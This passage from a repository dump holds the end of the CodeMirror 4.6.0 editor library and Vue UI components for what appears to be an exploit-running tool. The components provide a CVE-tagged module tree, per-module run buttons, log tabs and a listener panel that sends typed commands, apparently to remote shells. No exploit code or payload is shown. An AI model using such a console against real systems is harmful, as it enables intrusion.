(child = child.parentNode)\n      if (child == parent) return true;\n  }\n\n  function activeElt() { return document.activeElement; }\n  // Older versions of IE throws unspecified error when touching\n  // document.activeElement in some cases (during loading, in iframe)\n  if (ie && ie_version < 11) activeElt = function() {\n    try { return document.activeElement; }\n    catch(e) { return document.body; }\n  };\n\n  function classTest(cls) { return new RegExp(\"\\\\b\" + cls + \"\\\\b\\\\s*\"); }\n  function rmClass(node, cls) {\n    var test = classTest(cls);\n    if (test.test(node.className)) node.className = node.className.replace(test, \"\");\n  }\n  function addClass(node, cls) {\n    if (!classTest(cls).test(node.className)) node.className += \" \" + cls;\n  }\n  function joinClasses(a, b) {\n    var as = a.split(\" \");\n    for (var i = 0; i < as.length; i++)\n      if (as[i] && !classTest(as[i]).test(b)) b += \" \" + as[i];\n    return b;\n  }\n\n  // WINDOW-WIDE EVENTS\n\n  // These must be handled carefully, because naively registering a\n  // handler for each editor will cause the editors to never be\n  // garbage collected.\n\n  function forEachCodeMirror(f) {\n    if (!document.body.getElementsByClassName) return;\n    var byClass = document.body.getElementsByClassName(\"CodeMirror\");\n    for (var i = 0; i < byClass.length; i++) {\n      var cm = byClass[i].CodeMirror;\n      if (cm) f(cm);\n    }\n  }\n\n  var globalsRegistered = false;\n  function ensureGlobalHandlers() {\n    if (globalsRegistered) return;\n    registerGlobalHandlers();\n    globalsRegistered = true;\n  }\n  function registerGlobalHandlers() {\n    // When the window resizes, we need to refresh active editors.\n    var resizeTimer;\n    on(window, \"resize\", function() {\n      if (resizeTimer == null) resizeTimer = setTimeout(function() {\n        resizeTimer = null;\n        knownScrollbarWidth = null;\n        forEachCodeMirror(onResize);\n      }, 100);\n    });\n    // When the window loses focus, we want to show the editor as blurred\n    on(window, \"blur\", function() {\n      forEachCodeMirror(onBlur);\n    });\n  }\n\n  // FEATURE DETECTION\n\n  // Detect drag-and-drop\n  var dragAndDrop = function() {\n    // There is *some* kind of drag-and-drop support in IE6-8, but I\n    // couldn't get it to work yet.\n    if (ie && ie_version < 9) return false;\n    var div = elt('div');\n    return \"draggable\" in div || \"dragDrop\" in div;\n  }();\n\n  var knownScrollbarWidth;\n  function scrollbarWidth(measure) {\n    if (knownScrollbarWidth != null) return knownScrollbarWidth;\n    var test = elt(\"div\", null, null, \"width: 50px; height: 50px; overflow-x: scroll\");\n    removeChildrenAndAdd(measure, test);\n    if (test.offsetWidth)\n      knownScrollbarWidth = test.offsetHeight - test.clientHeight;\n    return knownScrollbarWidth || 0;\n  }\n\n  var zwspSupported;\n  function zeroWidthElement(measure) {\n    if (zwspSupported == null) {\n      var test = elt(\"span\", \"\\u200b\");\n      removeChildrenAndAdd(measure, elt(\"span\", [test, document.createTextNode(\"x\")]));\n      if (measure.firstChild.offsetHeight != 0)\n        zwspSupported = test.offsetWidth <= 1 && test.offsetHeight > 2 && !(ie && ie_version < 8);\n    }\n    if (zwspSupported) return elt(\"span\", \"\\u200b\");\n    else return elt(\"span\", \"\\u00a0\", null, \"display: inline-block; width: 1px; margin-right: -1px\");\n  }\n\n  // Feature-detect IE's crummy client rect reporting for bidi text\n  var badBidiRects;\n  function hasBadBidiRects(measure) {\n    if (badBidiRects != null) return badBidiRects;\n    var txt = removeChildrenAndAdd(measure, document.createTextNode(\"A\\u062eA\"));\n    var r0 = range(txt, 0, 1).getBoundingClientRect();\n    if (!r0 || r0.left == r0.right) return false; // Safari returns null in some cases (#2780)\n    var r1 = range(txt, 1, 2).getBoundingClientRect();\n    return badBidiRects = (r1.right - r0.right < 3);\n  }\n\n  // See if \"\".split is the broken IE version, if so, provide an\n  // alternative way to split lines.\n  var splitLines = CodeMirror.splitLines = \"\\n\\nb\".split(/\\n/).length != 3 ? function(string) {\n    var pos = 0, result = [], l = string.length;\n    while (pos <= l) {\n      var nl = string.indexOf(\"\\n\", pos);\n      if (nl == -1) nl = string.length;\n      var line = string.slice(pos, string.charAt(nl - 1) == \"\\r\" ? nl - 1 : nl);\n      var rt = line.indexOf(\"\\r\");\n      if (rt != -1) {\n        result.push(line.slice(0, rt));\n        pos += rt + 1;\n      } else {\n        result.push(line);\n        pos = nl + 1;\n      }\n    }\n    return result;\n  } : function(string){return string.split(/\\r\\n?|\\n/);};\n\n  var hasSelection = window.getSelection ? function(te) {\n    try { return te.selectionStart != te.selectionEnd; }\n    catch(e) { return false; }\n  } : function(te) {\n    try {var range = te.ownerDocument.selection.createRange();}\n    catch(e) {}\n    if (!range || range.parentElement() != te) return false;\n    return range.compareEndPoints(\"StartToEnd\", range) != 0;\n  };\n\n  var hasCopyEvent = (function() {\n    var e = elt(\"div\");\n    if (\"oncopy\" in e) return true;\n    e.setAttribute(\"oncopy\", \"return;\");\n    return typeof e.oncopy == \"function\";\n  })();\n\n  var badZoomedRects = null;\n  function hasBadZoomedRects(measure) {\n    if (badZoomedRects != null) return badZoomedRects;\n    var node = removeChildrenAndAdd(measure, elt(\"span\", \"x\"));\n    var normal = node.getBoundingClientRect();\n    var fromRange = range(node, 0, 1).getBoundingClientRect();\n    return badZoomedRects = Math.abs(normal.left - fromRange.left) > 1;\n  }\n\n  // KEY NAMES\n\n  var keyNames = {3: \"Enter\", 8: \"Backspace\", 9: \"Tab\", 13: \"Enter\", 16: \"Shift\", 17: \"Ctrl\", 18: \"Alt\",\n                  19: \"Pause\", 20: \"CapsLock\", 27: \"Esc\", 32: \"Space\", 33: \"PageUp\", 34: \"PageDown\", 35: \"End\",\n                  36: \"Home\", 37: \"Left\", 38: \"Up\", 39: \"Right\", 40: \"Down\", 44: \"PrintScrn\", 45: \"Insert\",\n                  46: \"Delete\", 59: \";\", 61: \"=\", 91: \"Mod\", 92: \"Mod\", 93: \"Mod\", 107: \"=\", 109: \"-\", 127: \"Delete\",\n                  173: \"-\", 186: \";\", 187: \"=\", 188: \",\", 189: \"-\", 190: \".\", 191: \"/\", 192: \"`\", 219: \"[\", 220: \"\\\\\",\n                  221: \"]\", 222: \"'\", 63232: \"Up\", 63233: \"Down\", 63234: \"Left\", 63235: \"Right\", 63272: \"Delete\",\n                  63273: \"Home\", 63275: \"End\", 63276: \"PageUp\", 63277: \"PageDown\", 63302: \"Insert\"};\n  CodeMirror.keyNames = keyNames;\n  (function() {\n    // Number keys\n    for (var i = 0; i < 10; i++) keyNames[i + 48] = keyNames[i + 96] = String(i);\n    // Alphabetic keys\n    for (var i = 65; i <= 90; i++) keyNames[i] = String.fromCharCode(i);\n    // Function keys\n    for (var i = 1; i <= 12; i++) keyNames[i + 111] = keyNames[i + 63235] = \"F\" + i;\n  })();\n\n  // BIDI HELPERS\n\n  function iterateBidiSections(order, from, to, f) {\n    if (!order) return f(from, to, \"ltr\");\n    var found = false;\n    for (var i = 0; i < order.length; ++i) {\n      var part = order[i];\n      if (part.from < to && part.to > from || from == to && part.to == from) {\n        f(Math.max(part.from, from), Math.min(part.to, to), part.level == 1 ? \"rtl\" : \"ltr\");\n        found = true;\n      }\n    }\n    if (!found) f(from, to, \"ltr\");\n  }\n\n  function bidiLeft(part) { return part.level % 2 ? part.to : part.from; }\n  function bidiRight(part) { return part.level % 2 ? part.from : part.to; }\n\n  function lineLeft(line) { var order = getOrder(line); return order ? bidiLeft(order[0]) : 0; }\n  function lineRight(line) {\n    var order = getOrder(line);\n    if (!order) return line.text.length;\n    return bidiRight(lst(order));\n  }\n\n  function lineStart(cm, lineN) {\n    var line = getLine(cm.doc, lineN);\n    var visual = visualLine(line);\n    if (visual != line) lineN = lineNo(visual);\n    var order = getOrder(visual);\n    var ch = !order ? 0 : order[0].level % 2 ? lineRight(visual) : lineLeft(visual);\n    return Pos(lineN, ch);\n  }\n  function lineEnd(cm, lineN) {\n    var merged, line = getLine(cm.doc, lineN);\n    while (merged = collapsedSpanAtEnd(line)) {\n      line = merged.find(1, true).line;\n      lineN = null;\n    }\n    var order = getOrder(line);\n    var ch = !order ? line.text.length : order[0].level % 2 ? lineLeft(line) : lineRight(line);\n    return Pos(lineN == null ? lineNo(line) : lineN, ch);\n  }\n  function lineStartSmart(cm, pos) {\n    var start = lineStart(cm, pos.line);\n    var line = getLine(cm.doc, start.line);\n    var order = getOrder(line);\n    if (!order || order[0].level == 0) {\n      var firstNonWS = Math.max(0, line.text.search(/\\S/));\n      var inWS = pos.line == start.line && pos.ch <= firstNonWS && pos.ch;\n      return Pos(start.line, inWS ? 0 : firstNonWS);\n    }\n    return start;\n  }\n\n  function compareBidiLevel(order, a, b) {\n    var linedir = order[0].level;\n    if (a == linedir) return true;\n    if (b == linedir) return false;\n    return a < b;\n  }\n  var bidiOther;\n  function getBidiPartAt(order, pos) {\n    bidiOther = null;\n    for (var i = 0, found; i < order.length; ++i) {\n      var cur = order[i];\n      if (cur.from < pos && cur.to > pos) return i;\n      if ((cur.from == pos || cur.to == pos)) {\n        if (found == null) {\n          found = i;\n        } else if (compareBidiLevel(order, cur.level, order[found].level)) {\n          if (cur.from != cur.to) bidiOther = found;\n          return i;\n        } else {\n          if (cur.from != cur.to) bidiOther = i;\n          return found;\n        }\n      }\n    }\n    return found;\n  }\n\n  function moveInLine(line, pos, dir, byUnit) {\n    if (!byUnit) return pos + dir;\n    do pos += dir;\n    while (pos > 0 && isExtendingChar(line.text.charAt(pos)));\n    return pos;\n  }\n\n  // This is needed in order to move 'visually' through bi-directional\n  // text -- i.e., pressing left should make the cursor go left, even\n  // when in RTL text. The tricky part is the 'jumps', where RTL and\n  // LTR text touch each other. This often requires the cursor offset\n  // to move more than one unit, in order to visually move one unit.\n  function moveVisually(line, start, dir, byUnit) {\n    var bidi = getOrder(line);\n    if (!bidi) return moveLogically(line, start, dir, byUnit);\n    var pos = getBidiPartAt(bidi, start), part = bidi[pos];\n    var target = moveInLine(line, start, part.level % 2 ? -dir : dir, byUnit);\n\n    for (;;) {\n      if (target > part.from && target < part.to) return target;\n      if (target == part.from || target == part.to) {\n        if (getBidiPartAt(bidi, target) == pos) return target;\n        part = bidi[pos += dir];\n        return (dir > 0) == part.level % 2 ? part.to : part.from;\n      } else {\n        part = bidi[pos += dir];\n        if (!part) return null;\n        if ((dir > 0) == part.level % 2)\n          target = moveInLine(line, part.to, -1, byUnit);\n        else\n          target = moveInLine(line, part.from, 1, byUnit);\n      }\n    }\n  }\n\n  function moveLogically(line, start, dir, byUnit) {\n    var target = start + dir;\n    if (byUnit) while (target > 0 && isExtendingChar(line.text.charAt(target))) target += dir;\n    return target < 0 || target > line.text.length ? null : target;\n  }\n\n  // Bidirectional ordering algorithm\n  // See http://unicode.org/reports/tr9/tr9-13.html for the algorithm\n  // that this (partially) implements.\n\n  // One-char codes used for character types:\n  // L (L):   Left-to-Right\n  // R (R):   Right-to-Left\n  // r (AL):  Right-to-Left Arabic\n  // 1 (EN):  European Number\n  // + (ES):  European Number Separator\n  // % (ET):  European Number Terminator\n  // n (AN):  Arabic Number\n  // , (CS):  Common Number Separator\n  // m (NSM): Non-Spacing Mark\n  // b (BN):  Boundary Neutral\n  // s (B):   Paragraph Separator\n  // t (S):   Segment Separator\n  // w (WS):  Whitespace\n  // N (ON):  Other Neutrals\n\n  // Returns null if characters are ordered as they appear\n  // (left-to-right), or an array of sections ({from, to, level}\n  // objects) in the order in which they occur visually.\n  var bidiOrdering = (function() {\n    // Character types for codepoints 0 to 0xff\n    var lowTypes = \"bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN\";\n    // Character types for codepoints 0x600 to 0x6ff\n    var arabicTypes = \"rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm\";\n    function charType(code) {\n      if (code <= 0xf7) return lowTypes.charAt(code);\n      else if (0x590 <= code && code <= 0x5f4) return \"R\";\n      else if (0x600 <= code && code <= 0x6ed) return arabicTypes.charAt(code - 0x600);\n      else if (0x6ee <= code && code <= 0x8ac) return \"r\";\n      else if (0x2000 <= code && code <= 0x200b) return \"w\";\n      else if (code == 0x200c) return \"b\";\n      else return \"L\";\n    }\n\n    var bidiRE = /[\\u0590-\\u05f4\\u0600-\\u06ff\\u0700-\\u08ac]/;\n    var isNeutral = /[stwN]/, isStrong = /[LRr]/, countsAsLeft = /[Lb1n]/, countsAsNum = /[1n]/;\n    // Browsers seem to always treat the boundaries of block elements as being L.\n    var outerType = \"L\";\n\n    function BidiSpan(level, from, to) {\n      this.level = level;\n      this.from = from; this.to = to;\n    }\n\n    return function(str) {\n      if (!bidiRE.test(str)) return false;\n      var len = str.length, types = [];\n      for (var i = 0, type; i < len; ++i)\n        types.push(type = charType(str.charCodeAt(i)));\n\n      // W1. Examine each non-spacing mark (NSM) in the level run, and\n      // change the type of the NSM to the type of the previous\n      // character. If the NSM is at the start of the level run, it will\n      // get the type of sor.\n      for (var i = 0, prev = outerType; i < len; ++i) {\n        var type = types[i];\n        if (type == \"m\") types[i] = prev;\n        else prev = type;\n      }\n\n      // W2. Search backwards from each instance of a European number\n      // until the first strong type (R, L, AL, or sor) is found. If an\n      // AL is found, change the type of the European number to Arabic\n      // number.\n      // W3. Change all ALs to R.\n      for (var i = 0, cur = outerType; i < len; ++i) {\n        var type = types[i];\n        if (type == \"1\" && cur == \"r\") types[i] = \"n\";\n        else if (isStrong.test(type)) { cur = type; if (type == \"r\") types[i] = \"R\"; }\n      }\n\n      // W4. A single European separator between two European numbers\n      // changes to a European number. A single common separator between\n      // two numbers of the same type changes to that type.\n      for (var i = 1, prev = types[0]; i < len - 1; ++i) {\n        var type = types[i];\n        if (type == \"+\" && prev == \"1\" && types[i+1] == \"1\") types[i] = \"1\";\n        else if (type == \",\" && prev == types[i+1] &&\n                 (prev == \"1\" || prev == \"n\")) types[i] = prev;\n        prev = type;\n      }\n\n      // W5. A sequence of European terminators adjacent to European\n      // numbers changes to all European numbers.\n      // W6. Otherwise, separators and terminators change to Other\n      // Neutral.\n      for (var i = 0; i < len; ++i) {\n        var type = types[i];\n        if (type == \",\") types[i] = \"N\";\n        else if (type == \"%\") {\n          for (var end = i + 1; end < len && types[end] == \"%\"; ++end) {}\n          var replace = (i && types[i-1] == \"!\") || (end < len && types[end] == \"1\") ? \"1\" : \"N\";\n          for (var j = i; j < end; ++j) types[j] = replace;\n          i = end - 1;\n        }\n      }\n\n      // W7. Search backwards from each instance of a European number\n      // until the first strong type (R, L, or sor) is found. If an L is\n      // found, then change the type of the European number to L.\n      for (var i = 0, cur = outerType; i < len; ++i) {\n        var type = types[i];\n        if (cur == \"L\" && type == \"1\") types[i] = \"L\";\n        else if (isStrong.test(type)) cur = type;\n      }\n\n      // N1. A sequence of neutrals takes the direction of the\n      // surrounding strong text if the text on both sides has the same\n      // direction. European and Arabic numbers act as if they were R in\n      // terms of their influence on neutrals. Start-of-level-run (sor)\n      // and end-of-level-run (eor) are used at level run boundaries.\n      // N2. Any remaining neutrals take the embedding direction.\n      for (var i = 0; i < len; ++i) {\n        if (isNeutral.test(types[i])) {\n          for (var end = i + 1; end < len && isNeutral.test(types[end]); ++end) {}\n          var before = (i ? types[i-1] : outerType) == \"L\";\n          var after = (end < len ? types[end] : outerType) == \"L\";\n          var replace = before || after ? \"L\" : \"R\";\n          for (var j = i; j < end; ++j) types[j] = replace;\n          i = end - 1;\n        }\n      }\n\n      // Here we depart from the documented algorithm, in order to avoid\n      // building up an actual levels array. Since there are only three\n      // levels (0, 1, 2) in an implementation that doesn't take\n      // explicit embedding into account, we can build up the order on\n      // the fly, without following the level-based algorithm.\n      var order = [], m;\n      for (var i = 0; i < len;) {\n        if (countsAsLeft.test(types[i])) {\n          var start = i;\n          for (++i; i < len && countsAsLeft.test(types[i]); ++i) {}\n          order.push(new BidiSpan(0, start, i));\n        } else {\n          var pos = i, at = order.length;\n          for (++i; i < len && types[i] != \"L\"; ++i) {}\n          for (var j = pos; j < i;) {\n            if (countsAsNum.test(types[j])) {\n              if (pos < j) order.splice(at, 0, new BidiSpan(1, pos, j));\n              var nstart = j;\n              for (++j; j < i && countsAsNum.test(types[j]); ++j) {}\n              order.splice(at, 0, new BidiSpan(2, nstart, j));\n              pos = j;\n            } else ++j;\n          }\n          if (pos < i) order.splice(at, 0, new BidiSpan(1, pos, i));\n        }\n      }\n      if (order[0].level == 1 && (m = str.match(/^\\s+/))) {\n        order[0].from = m[0].length;\n        order.unshift(new BidiSpan(0, 0, m[0].length));\n      }\n      if (lst(order).level == 1 && (m = str.match(/\\s+$/))) {\n        lst(order).to -= m[0].length;\n        order.push(new BidiSpan(0, len - m[0].length, len));\n      }\n      if (order[0].level != lst(order).level)\n        order.push(new BidiSpan(order[0].level, len, len));\n\n      return order;\n    };\n  })();\n\n  // THE END\n\n  CodeMirror.version = \"4.6.0\";\n\n  return CodeMirror;\n});\n"
  },
  {
    "path": "ui/js/components.js",
    "content": "var treeNodeTemplate = function(){/*\n <li :class=\"{'hidden': !visible}\" @click=\"select\" @dblclick=\"run\">\n   <span v-if=\"isFolder\" :class=\"[opened ? folderIconOpened: folderIconClosed]\"></span>\n   <button v-show=\"!isFolder\" class=\"btn btn-default btn-xs\" @click=\"run\">\n     <span class=\"glyphicon glyphicon-play\"></span>\n   </button>\n   <button v-show=\"!isFolder\" class=\"btn btn-default btn-xs\" @click=\"edit\">\n     <span class=\"glyphicon glyphicon-pencil\"></span>\n   </button>\n   {{module.NAME}}\n </li>\n <ul :class=\"{ 'hidden': !opened || isChildrenInvisible }\">\n    <tree-node v-for=\"child in sortedChildren\" :module=\"child\"></tree-node>\n </ul>\n */}.toString().slice(14, -3);\nVue.component('tree-node', {\n  template: treeNodeTemplate,\n  computed: {\n    isChildrenInvisible: function() {\n      return _.filter(this.$children, 'visible').length == 0;\n    },\n    isFolder: function () {\n      return !this.module.isFile;\n    },\n    sortedChildren: function () {\n      return _.sortBy(this.module.children, ['isFile', 'NAME'])\n    }\n  },\n  props: ['module', 'toFilter'],\n  data: function () {\n    return {\n      opened: false,\n      visible: true,\n      folderIconOpened: 'glyphicon glyphicon-folder-open',\n      folderIconClosed: 'glyphicon glyphicon-folder-close'\n    }\n  },\n  methods: {\n    select: function() {\n      if (!this.isFolder) {\n        this.$dispatch('onTreeNodeSelected', this.$data, this.module);\n      } else {\n        this.opened = !this.opened;\n      }\n    },\n    edit: function() {\n      this.$dispatch('onModuleEdit', this.module);\n    },\n    run: function () {\n      if (this.isFolder) {\n        this.opened = !this.opened\n      } else {\n        this.$dispatch('onTreeNodeClicked', this.module);\n        this.select();\n      }\n    },\n  }\n});\n\nvar treeViewTemplate = function(){/*\n <div class=\"form-group has-feedback\">\n    <input type=\"text\" class=\"form-control\" v-model=\"toSearch\" placeholder=\"Search for...\">\n    <span v-show='toSearch.length' class=\"form-control-feedback\"> <a class=\"pointer\" @click=\"toSearch=''\"><small>X</small></a></span>\n  </div>\n <div class=\"treeview left-panel\">\n   <ul>\n     <tree-node v-for=\"module in sortedModules\" :module=\"module\"></tree-node>\n   </ul>\n </div>\n */}.toString().slice(14, -3);\nVue.component('tree-view', {\n  template: treeViewTemplate,\n  props: {\n    modules: []\n  },\n  data: function () {\n    return {\n      toSearch: ''\n    }\n  },\n  computed: {\n    sortedModules: function () {\n      return _.sortBy(this.modules, ['isFile', 'NAME'])\n    }\n  },\n  watch: {\n    'toSearch': function (newVal, oldVal) {\n      this.search(this.$children);\n    }\n  },\n  methods: {\n    search: function (children, parent) {\n      var self = this;\n      children.forEach(function(child, index) {\n        if (child.$children && child.$children.length) {\n          if (self.toSearch)\n            child.opened = true;\n          else\n            child.opened = false;\n          return self.search(child.$children, child);\n        } else {\n          var module = child.module;\n          var toSearch = self.toSearch.toLowerCase();\n          if (module.NAME && module.NAME.toLowerCase().indexOf(toSearch) !== -1 ||\n              module.DESCRIPTION && module.DESCRIPTION.toLowerCase().indexOf(toSearch) !== -1 ||\n              module.VENDOR && module.VENDOR.toLowerCase().indexOf(toSearch) !== -1 ||\n              module.NOTES && module.NOTES.toLowerCase().indexOf(toSearch) !== -1 ||\n              module['CVE Name'] && module['CVE Name'].toLowerCase().indexOf(toSearch) !== -1){\n            child.visible = true;\n          } else {\n            child.visible = false;\n          }\n        }\n      })\n      if (parent) {\n        var visible_count = _.filter(children, 'visible').length;\n        if (!visible_count) {\n          parent.visible = false;\n        } else {\n          parent.visible = true;\n        }\n      }\n\n    },\n  }\n});\n\nvar tab_view_template = function(){/*\n  <div class=\"tab-widget\">\n    <ul class=\"nav nav-tabs\">\n      <li v-for=\"tab in tabs\" @click=\"chooseTab($index)\" :class=\"{'active': tab.active}\">\n        <a href=\"#tab_item_{{$index}}\" :class=\"{'module-failed': tab.state == false, 'module-succeeded': tab.state == true}\">\n        <div v-show=\"tab.useListener\" :class=\"['listener-state-indicator', {'listener-connected': tab.listenerState == 1, 'listener-disconnected': tab.listenerState == 2}]\" :title=\"tab.listenerState ? tab.listenerState == 1 ? 'Listener connected': 'Listener disconnected' : 'Listener is not connected'\"></div>\n        {{tab.title}}\n        </a>\n        <div class=\"closeTab\" @click=\"closeTab($index)\">x</div>\n      </li>\n    </ul>\n    <div class=\"tab-content\">\n      <div v-for=\"tab in tabs\" id=\"tab_item_{{$index}}\" :class=\"['tab-pane fade', {'in active': tab.active}]\">\n        <div class=\"panel\">\n          <div class=\"panel-heading modal-header\">\n            <b>Log for {{tab.title}}</b>\n          </div>\n          <div class=\"panel-body\">\n            <div class=\"logView\" :class=\"{'half-height': tab.useListener, 'full-height': !tab.useListener}\">\n              <re-log-view :messages.sync=\"tab.content\" ></re-log-view>\n            </div>\n          </div>\n        </div>\n        <div class=\"panel\" style=\"height:40%;\" v-show=\"tab.useListener\">\n          <div class=\"panel-heading modal-header\"><b>Listener for {{tab.title}}:</b></div>\n          <div class=\"panel-body\">\n            <pre class=\"pre-scrollable\"> {{tab.listenerMessages}}</pre>\n            <div class=\"form-inline\">\n              <label>Command to execute >></label>\n              <div class=\"input-group\">\n                <input type=\"text\" class=\"form-control\" @keyup.enter=\"send($index)\" @keyup.up=\"historyUp\" @keyup.down=\"historyDown\" v-model=\"command\">\n                <span class=\"input-group-btn\">\n                  <button class=\"btn btn-default\" type=\"button\" @click=\"send($index)\">Send</button>\n                </span>\n              </div>\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n\n  </div>\n*/}.toString().slice(14,-3);\n\nVue.component('tab-view', {\n  template: tab_view_template,\n  props: {\n    tabs: Array\n    /*\n    tabs = {\n      title: args.module_name,\n      content: 'Starting ' + args.module_name,\n      active: true,\n      useListener: args.listener,\n      listenerMessages: '',\n      listenerState: null,\n      state: null\n    }\n    */\n  },\n  data: function () {\n    return {\n      search: '',\n      tabActive: 'active',\n      command: '',\n      history: []\n    }\n  },\n  watch: {\n    'tabs.length': {\n      handler: function (val, oldVal) {\n        //make new tab active\n        if(val > oldVal) {\n          this.chooseTab(val - 1);\n        }\n      }\n    }\n  },\n  methods: {\n    historyUp: function() {\n      if (!this.history || !this.history.length) {\n        return;\n      }\n      this.historyIndex -= 1;\n      if (this.historyIndex < 0) {\n        this.historyIndex = 0;\n      }\n      this.command = this.history[this.historyIndex];\n    },\n    historyDown: function() {\n      if (!this.history || !this.history.length) {\n        return;\n      }\n      this.historyIndex += 1;\n      if (this.historyIndex >= this.history.length) {\n        this.historyIndex = this.history.length;\n        this.command = '';\n        return;\n      }\n      this.command = this.history[this.historyIndex];\n    },\n    closeTab: function(index) {\n      var current_tab = this.tabs[index];\n      this.tabs.splice(index, 1);\n      if(current_tab.active){\n        if (this.tabs.length <= index) {\n          index -= 1;\n        }\n        this.chooseTab(index);\n      }\n      this.$dispatch('onTabClose', current_tab)\n      if (!this.tabs.length) {\n        setDefaultInfo();\n      }\n    },\n\n    chooseTab: function(index) {\n      if(!this.tabs.length)\n        return;\n      this.tabs.forEach(function(tab) {\n        tab.active = false;\n      });\n      this.tabs[index].active = true;\n      showTabInfo(this.tabs[index]);\n    },\n    send: function(index) {\n      var tab = this.tabs[index];\n      tab.listenerMessages += \"\\n>> \" + this.command;\n      if (_.indexOf(this.history, this.command) !== -1) {\n        this.history.splice(this.history.indexOf(this.command), 1);\n      }\n      this.history.push(this.command);\n      this.historyIndex = this.history.length;\n      this.$dispatch('onSendCommand', this.command, tab);\n      this.command = \"\";\n    }\n  },\n});\n\nvar logViewTemplate = function(){/*\n    <div class=\"logItem\" v-for=\"item in messages\">\n      <pre v-show=\"item.type=='text'\">{{getMessage($index)}}</pre>\n      <div v-show=\"item.type=='image'\">\n        <pre>{{item.time}}: </pre>\n        <p>\n          <img :src=\"item.type=='image' ? item.message: '/'\" @click=\"onImageClick($index)\"></img>\n        </p>\n      </div>\n      \n    </div>\n*/}.toString().slice(14,-3);\n\nVue.component('re-log-view', {\n  template: logViewTemplate,\n  props: {\n    messages: Array\n  },\n  methods: {\n    onImageClick: function(index) {\n      var image = this.messages[index].message;\n      this.$dispatch('onImageClick', image);\n    },\n    getMessage: function(index) {\n      var item = this.messages[index];\n      var resp = '';\n      if (item.time) {\n        resp += item.time + ': '\n      }\n      resp += item.message;\n      return resp;\n    }\n  }\n})\n\n\nvar modal_dialog_template = function(){/*\n  <div v-show=\"show\" :transition=\"transition\">\n    <div class=\"modal\" @click.self=\"clickMask\">\n      <div class=\"modal-dialog\" :class=\"modalClass\" v-el:dialog>\n        <div class=\"modal-content\">\n          <!--Header-->\n          <div class=\"modal-header\">\n            <slot name=\"header\">\n              <a type=\"button\" class=\"close\" @click=\"cancel\">x</a>\n              <h4 class=\"modal-title\">\n                <slot name=\"title\">\n                    {{title}}\n                </slot>\n              </h4>\n            </slot>\n          </div>\n          <!--Container-->\n          <div class=\"modal-body\">\n            <slot></slot>\n          </div>\n          <!--Footer-->\n          <div class=\"modal-footer\">\n            <slot name=\"footer\">\n              <button type=\"button\" :class=\"cancelClass\" @click=\"cancel\">{{cancelText}}</button>\n              <button v-show=\"showOk\" type=\"button\" :class=\"okClass\" @click=\"ok\">{{okText}}</button>\n            </slot>\n          </div>\n        </div>\n      </div>\n    </div>\n  <div class=\"modal-backdrop in\"></div>\n</div>\n*/}.toString().slice(14,-3)\nVue.component('re-modal', {\n  template: modal_dialog_template,\n  props: {\n    show: {\n        twoWay: true,\n        default: false\n    },\n    title: {\n        default: 'Modal'\n    },\n    small: {\n        default: false\n    },\n    large: {\n        default: false\n    },\n    full: {\n        default: false\n    },\n    force: {\n        default: false\n    },\n    transition: {\n        default: 'modal'\n    },\n    okText: {\n        default: 'OK'\n    },\n    cancelText: {\n        default: 'Cancel'\n    },\n    okClass: {\n        default: 'btn blue'\n    },\n    cancelClass: {\n        default: 'btn red btn-outline'\n    },\n    closeWhenOK: {\n        default: false\n    },\n    showOk: {\n      default: true\n    }\n  },\n  data: function() {\n    return {\n      duration: null\n    }\n  },\n  computed: {\n    modalClass: function () {\n      return {\n          'modal-lg': this.large,\n          'modal-sm': this.small,\n          'modal-full': this.full\n      }\n    }\n  },\n  created: function() {\n    if (this.show) {\n      document.body.className += ' modal-open';\n    }\n  },\n  beforeDestroy: function() {\n    document.body.className = document.body.className.replace('modal-open', '');\n  },\n  watch: {\n    show: function(value) {\n      if (value) {\n        document.body.className += ' modal-open';\n      }\n      else {\n        if (!this.duration) {\n          this.duration = window.getComputedStyle(this.$el)['transition-duration'].replace('s', '') * 1000;\n        }\n        document.body.className = document.body.className.replace(' modal-open', '');\n      }\n    }\n  },\n  methods: {\n    ok: function() {\n        this.$emit('ok');\n        if (this.closeWhenOK) {\n            this.show = false;\n        }\n    },\n    cancel: function() {\n        this.$emit('cancel');\n        this.show = false;\n    },\n    clickMask: function() {\n        if (!this.force) {\n            this.cancel();\n        }\n    }\n  }\n})\n\nvar moduleInfo = function(){/*\n    <div class=\"panel\">\n      <div class=\"panel-heading modal-header\">\n        <b>Module info:</b>\n      </div>\n      <div class=\"panel-body left-panel\">\n        <b>Description:</b> {{module.DESCRIPTION || 'N/A'}} <br>\n        <b>Vendor:</b>\n        <a v-show=\"module.VENDOR\" href=\"{{module.VENDOR}}\" target=\"_blank\">{{module.VENDOR}}</a>\n        <div v-show=\"!module.VENDOR\" :style=\"displayInline\">N/A</div>\n        <br>\n        <b>CVE:</b> {{module['CVE Name'] || 'N/A'}} <br>\n        <b>Links:</b>\n        <ol v-if=\"links.length\">\n          <li v-for=\"link in links\">\n            <a href=\"{{link}}\">{{link}}</a>\n          </li>\n        </ol>\n        <div v-else :style=\"displayInline\">N/A</div>\n        <br v-show=\"!links.length\">\n        <b>Download link:</b>\n        <a v-show=\"module.DOWNLOAD_LINK\" href=\"{{module.DOWNLOAD_LINK}}\" target=\"_blank\">{{module.DOWNLOAD_LINK}}</a>\n        <div v-show=\"!module.DOWNLOAD_LINK\" :style=\"displayInline\">N/A</div>\n        <br>\n        <b>Notes:</b>\n        <pre>{{module.NOTES}}</pre>\n      </div>\n    </div>\n*/}.toString().slice(14,-3)\n\nVue.component('re-module-info', {\n  template: moduleInfo,\n  props: {\n    module: Object\n  },\n  computed: {\n    displayInline: function() {\n      return 'display: inline;'\n    },\n    links: function () {\n      var links = this.module.LINKS;\n      if (links && links.length) {\n        if 